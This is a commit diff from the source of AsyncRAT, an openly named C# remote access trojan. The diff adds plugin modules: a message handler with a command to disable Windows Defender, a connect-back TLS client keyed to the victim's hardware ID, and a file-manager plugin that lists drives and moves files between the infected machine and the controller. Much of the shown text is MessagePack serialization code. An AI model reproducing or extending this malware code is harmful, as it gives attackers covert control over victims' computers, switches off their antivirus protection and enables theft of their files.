WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

24
AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

84
AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs Normal file
View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

199
AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs Normal file
View File

@ -0,0 +1,199 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

68
AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs Normal file
View File

@ -0,0 +1,68 @@
using Plugin.Handler;
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Plugin
{
public static class Packet
{
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "visitURL":
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;
if (url.StartsWith("http"))
{
Process.Start(url);
}
Connection.Disconnected();
break;
}
case "sendMessage":
{
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
Connection.Disconnected();
break;
}
case "disableDefedner":
{
new HandleDisableDefender().Run();
Connection.Disconnected();
break;
}
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
}
}

34
AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs Normal file
View File

@ -0,0 +1,34 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
{
public static Socket Socket;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile)
{
Debug.WriteLine("Plugin Invoked");
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient(msgPack);
}).Start();
while (Connection.IsConnected)
{
Thread.Sleep(1000);
}
}
}
}

36
AsyncRAT-C#/Plugin/Extra/Extra/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("424b81be-2fac-419f-b4bc-00ccbe38491f")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

25
AsyncRAT-C#/Plugin/FileManager/FileManager.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileManager", "FileManager\FileManager.csproj", "{BEE88186-769A-452C-9DD9-D0E0815D92BF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {4FD410CC-1F1D-4948-A108-13285D633CDD}
EndGlobalSection
EndGlobal

217
AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs Normal file
View File

@ -0,0 +1,217 @@
using Plugin.Handler;
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient(byte[] packet)
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4];
MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Hwid").AsString = Hwid;
msgpack.ForcePathObject("Command").AsString = "setClient";
Send(msgpack.Encode2Bytes());
new FileManager(new MsgPack()).GetDrivers();
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
MS?.Dispose();
GC.Collect();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
MS.Write(Buffer, 0, recevied);
if (MS.Length == 4)
{
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
while (MS.Length != Buffersize)
{
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
}
catch
{
IsConnected = false;
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

58
AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj Normal file
View File

@ -0,0 +1,58 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{BEE88186-769A-452C-9DD9-D0E0815D92BF}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Plugin</RootNamespace>
<AssemblyName>FileManager</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="Handler\FileManager.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="TempSocket.cs" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

21
AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs → AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs
View File

@ -1,6 +1,4 @@
using Client.MessagePack; using System;
using Client.Connection;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Drawing; using System.Drawing;
using System.Drawing.Imaging; using System.Drawing.Imaging;
@ -13,8 +11,9 @@ using System.Security.Authentication;
using System.Net.Security; using System.Net.Security;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Threading; using System.Threading;
using Plugin.MessagePack;
namespace Client.Handle_Packet namespace Plugin.Handler
{ {
public class FileManager public class FileManager
{ {
@ -147,6 +146,7 @@ namespace Client.Handle_Packet
DriveInfo[] allDrives = DriveInfo.GetDrives(); DriveInfo[] allDrives = DriveInfo.GetDrives();
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
StringBuilder sbDriver = new StringBuilder(); StringBuilder sbDriver = new StringBuilder();
foreach (DriveInfo d in allDrives) foreach (DriveInfo d in allDrives)
@ -156,7 +156,7 @@ namespace Client.Handle_Packet
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
} }
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -169,6 +169,7 @@ namespace Client.Handle_Packet
Debug.WriteLine($"Getting [{path}]"); Debug.WriteLine($"Getting [{path}]");
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
StringBuilder sbFolder = new StringBuilder(); StringBuilder sbFolder = new StringBuilder();
StringBuilder sbFile = new StringBuilder(); StringBuilder sbFile = new StringBuilder();
@ -192,7 +193,7 @@ namespace Client.Handle_Packet
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
msgpack.ForcePathObject("File").AsString = sbFile.ToString(); msgpack.ForcePathObject("File").AsString = sbFile.ToString();
msgpack.ForcePathObject("CurrentPath").AsString = path.ToString(); msgpack.ForcePathObject("CurrentPath").AsString = path.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
catch (Exception ex) catch (Exception ex)
{ {
@ -232,6 +233,7 @@ namespace Client.Handle_Packet
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "socketDownload"; msgpack.ForcePathObject("Packet").AsString = "socketDownload";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "pre"; msgpack.ForcePathObject("Command").AsString = "pre";
msgpack.ForcePathObject("DWID").AsString = dwid; msgpack.ForcePathObject("DWID").AsString = dwid;
msgpack.ForcePathObject("File").AsString = file; msgpack.ForcePathObject("File").AsString = file;
@ -241,6 +243,7 @@ namespace Client.Handle_Packet
MsgPack msgpack2 = new MsgPack(); MsgPack msgpack2 = new MsgPack();
msgpack2.ForcePathObject("Packet").AsString = "socketDownload"; msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack2.ForcePathObject("Command").AsString = "save"; msgpack2.ForcePathObject("Command").AsString = "save";
msgpack2.ForcePathObject("DWID").AsString = dwid; msgpack2.ForcePathObject("DWID").AsString = dwid;
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
@ -291,6 +294,7 @@ namespace Client.Handle_Packet
TempSocket tempSocket = new TempSocket(); TempSocket tempSocket = new TempSocket();
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
msgpack.ForcePathObject("ID").AsString = id; msgpack.ForcePathObject("ID").AsString = id;
tempSocket.Send(msgpack.Encode2Bytes()); tempSocket.Send(msgpack.Encode2Bytes());
@ -302,9 +306,12 @@ namespace Client.Handle_Packet
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "error"; msgpack.ForcePathObject("Command").AsString = "error";
msgpack.ForcePathObject("Message").AsString = ex; msgpack.ForcePathObject("Message").AsString = ex;
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
} }
} }

102
AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs Normal file
View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

926
AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs Normal file
View File

@ -0,0 +1,926 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
